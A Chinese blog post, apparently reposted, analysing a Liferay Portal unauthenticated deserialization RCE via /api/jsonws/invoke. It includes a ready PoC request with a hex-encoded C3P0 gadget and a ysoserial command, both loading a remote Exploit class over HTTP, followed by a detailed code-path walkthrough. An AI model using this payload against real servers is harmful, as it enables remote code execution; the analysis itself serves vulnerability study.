漏洞说明:
Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.
该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化,危害较高
影响范围:
Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X
环境搭建:
https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带tomcat的集成版,接下来就可以运行了,安装过程一路默认配置即可
漏洞复现:
poc:
POST /api/jsonws/invoke HTTP/1.1
Host: php.local:8080
Content-Length: 2335
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}
本地起http server 挂载Exploit.class字节码文件
ysoserial c3p0生成:
java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser
或者用mashalsec直接生成16进制paylaod:
漏洞分析:
https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services 这里是关于liferay的一些说明文档,主要是可以如何通过http://localhost:8080/api/jsonws提供的一些api
可以直接通过api/jsonws 来查看调用结果或者通过其他形式来调用api,比如随便调用一个api,填上对应数据类型的字段,将通过/api/jsonws/invoke进行调用,可以看到此时参数全部都在post包的body中
那么实际上是api/jsonws/invoke这条路由来处理的请求,那么去web.xml下面看一下对应的serverlet,存在此条url匹配规则
找到该serverlet对应的类,可以看到此时位于
直接找到该类位置
windows下开启debug: start.bat中添加
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8788
开启debug,invoke的filter一路走向如上图所示,直到匹配到该serverlet的处理逻辑,调用其service方法来处理http请求
HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有信息。
getRequestURL方法返回客户端发出请求时的完整URL。
getRequestURI方法返回请求行中的资源名部分。
getQueryString 方法返回请求行中的参数部分。
getPathInfo方法返回请求URL中的额外路径信息。额外路径信息是请求URL中的位于Servlet的路径之后和查询参数之前的内容,它以“/”开头。
getRemoteAddr方法返回发出请求的客户机的IP地址。
getRemoteHost方法返回发出请求的客户机的完整主机名。
getRemotePort方法返回客户机所使用的网络端口号。
getLocalAddr方法返回WEB服务器的IP地址。
getLocalName方法返回WEB服务器的主机名。
Web应用中servlet可以使用servlet上下文(context)得到:
1.在调用期间保存和检索属性的功能,并与其他servlet共享这些属性。
2.读取Web应用中文件内容和其他静态资源的功能。
3.互相发送请求的方式。
4.记录错误和信息化消息的功能。
一个servlet上下文是servlet引擎提供用来服务于Web应用的接口。Servlet上下文具有名字(它属于Web应用的名字)唯一映射到文件系统的一个目录。
一个servlet可以通过ServletConfig对象的getServletContext()方法得到servlet上下文的引用,如果servlet直接或间接调用子类GenericServlet,则可以使用getServletContext()方法。
上图主要是提取请求路径,判断是否来显示api列表(path为""或"/"),否则调用父类的service方法处理http请求
request.getContextPath()可返回站点的根路径,应该是得到项目的名字,如果项目为根目录,则得到一个"",即空的字条串。如果项目为abc, <%=request.getContextPath()% > 将得到abc
比如要是请求api/jsonws,则走到下面逻辑
接着在重定向方法中设置http请求的一些属性,对于该次请求的处理即结束
那么话说回去,正常poc到其父类的JSONserverlet的service方法中,调用jsonWebserviceaction对象的execute来处理http请求
接着判断servletContextName为空则返回false
接着到①处拿到authtype为空直接return
直接到getJSONWebServiceAction()方法中,拿到当前请求的路径为invoke,则返回一个invokeaction实例
实例化过程中将从http请求中拿到参数cmd的值
接着猜测应该是反射执行该cmd的值,cmd的值也是json形式,这里先调用portal的json parser器解析cmd的值反序列化后(非原生反序列化)返回一个object(hashmap,里面存着cmd所代表的键值对)
然后再将hashmap放到list中,这个应该是判断parser解析的结果来选择处理方式
接着就是循环遍历该list 取出其中的hashmap,并获取迭代器的方式遍历hashmap,取出保存在其中的键值对,也就是cmd对应的键和值,调用parsestatement处理主要就是解析出要反射调用的api
接着到executeStatement中来进行实际的api调用,到目前为止api都是以uri的方式存在,只是一个虚拟路径,那么在java中肯定有相应的处理类,所以肯定要找到它,getJSONWebServiceAction就完成了这个功能,并且也完成了提取http body中的参数作为api 反射调用的参数,先直接看看该方法调用返回后的JsonWebserviceAction
从jsonwebServiceAction的值可以看到又用到了代理的知识,这种设计模式真的是在java web网络通信应用中挺常用,从actionmethod中就能看到实际上api调用的是proxy代理类的addcolumn方法,那么proxy代理的接口是expandoColumn接口,可以在注解里面看到其实现类是ExpandoColumnImpl,并且可以看到实际处理该api调用的类为ExpandoColumnServiceImpl,总之getJSONwebServiceaction完成了api调用的初始化准备工作,还是有跟一下的必要
到getJSONWebServiceAction中看看,其中有个jsonWebServiceActionParameters.collectAll又传入了httpserverletrequest,猜测其要处理http请求的内容,跟进
进一步获取服务上下文,通过_getInstance来实际处理http 请求中的参数了,要获取http请求的相关内容,肯定要用到相关的接口
所以回到catalina.connector的request类中,将拿到http请求的一切内容(提供的获取http请求的接口必须走到这个类)
最后拿到的含有请求参数的ParameterMap如下图所示,所有的参数值都是以=分割,包括我们的序列化数据的其键值对,接着遍历该map,再将其中的值取出来存到hashmap中保存到attributes成员变量里
然后再赋给服务上下文作为其内部成员变量来使用,真的是挺曲折的==
加工完service context 获取http参数后,再将之前获得的相关参数值赋给下图的jsonWebService相关变量,之后返回一个actionImple的实例,并且这些参数传入,后面猜应该要根据这些值来反射调用方法了
如下图所示到_invokeActionMethod方法中执行
因为之前的解析也已经知道实际上poc里面调用的addcolumn api是对应的下图的actionclass的addcolumn 重载其一方法,支持转入4个参数,包括一个object,作为defaultdata参数名传入,漏洞点就在此
那么接着就要获取action class的参数,为了后面进行反射执行,这里调用_prepareParameters方法
由下图就能看到,此时拿到的参数名,参数类型以及参数值,参数类型就是Object,参数类型的值即为C3P0的绝对路径
若参数类型值不为空,则通过类加载机制将其加载到jvm中(利用本地gadget),这里用loadclass来加载该类说明目标对象被装载后不进行链接,这就意味这不会去执行该类静态块中间的内容
接着因为default的参数值不为void,所以调用this._convertValueToParameterValue对参数值进行处理,接着猜测应该是判断这里传入的参数的具体类型
如下图所示也正是如此,判断传入的参数类型,匹配了几种情况后若不满足则将参数值置null
然后调用convertType方法来将此时的value和参数类型进行转换后赋值给parameterValue,然而预置的转换规则并不匹配poc中的c3p0类
接着继续往下走,判断当前的default的值是否以{开头,满足则调用looseDeserialize来处理,这里也是反序列化的关键点(json数据反序列化)
由于portal用的是jodd的json解析,因此此时使用其jsonParser对参数值进行扫描
对于传入的payload json数据,jodd将使用injectValueIntoObject将参数的值还原到参数对象中
就像fastjson反射调用set赋值类似,jodd也通过json中的属性来生成setter方法,然后反射调用参数对象所代表类的对应setter方法来赋值
接着就到了set方法中,此时将根据解析规则,解析赋给userOveridesAsString的值
存储的16进制payload将被还原为序列化的字节码文件存储在字节数组中
那么我们知道字节数组肯定不能直接反序列化,所以要如下图转为ObjectInputStream
反序列化gadget
接下来就到了反序列化时刻了,与之前分析的C3P0反序列化相同
整个处理流程总结:
1.根据uri的/api/jsonws/invoke获取cmd参数的值,根据其值确定要调用的api函数,然后通过动态代理确定要用哪个类来处理具体的api调用逻辑
2.确定完处理类后,要传给其参数值,因此到catalina.connector中取http body中的值,赋给服务上下文作为其内部成员变量做准备
3.接着为反射调用api对应成员方法准备入口参数(已经存到context中了),因为poc中利用的api是支持传入object的,所以肯定要涉及到根据提供的类的来装载(loadclass完成),以及反序列化还原object,在判断传入的object的参数值满足json数据前缀后则调用jodd库来对json数据进行处理,尝试恢复对象,jodd解析规则根据属性确定setter方法,并确定要还原的值(序列化payload),到此进入c3p0的处理逻辑
4.c3p0的利用,该类的setuserOverridesAsString方法可以将16进制编码的序列化数据进行反序列化,序列化数据即为本地的lib下的gadget
从api匹配到获取http body中的值进行反序列化,从应用程序上来讲问题就是某些api的入口参数为object,然而序列化的数据传输后还原必然要经过反序列化,应用提供了太过于宽泛的反序列化操作,defaultdata后面的类名可控(以分号分割)
感觉也不是jodd库的锅,应用里面也匹配反序列化的类,但是对不在匹配规则中的类并未做黑白名单限制,所以说本地只要有能够利用的gadget,就能够利用
参考:
来源:oschina
链接:https://my.oschina.net/u/4267086/blog/3221492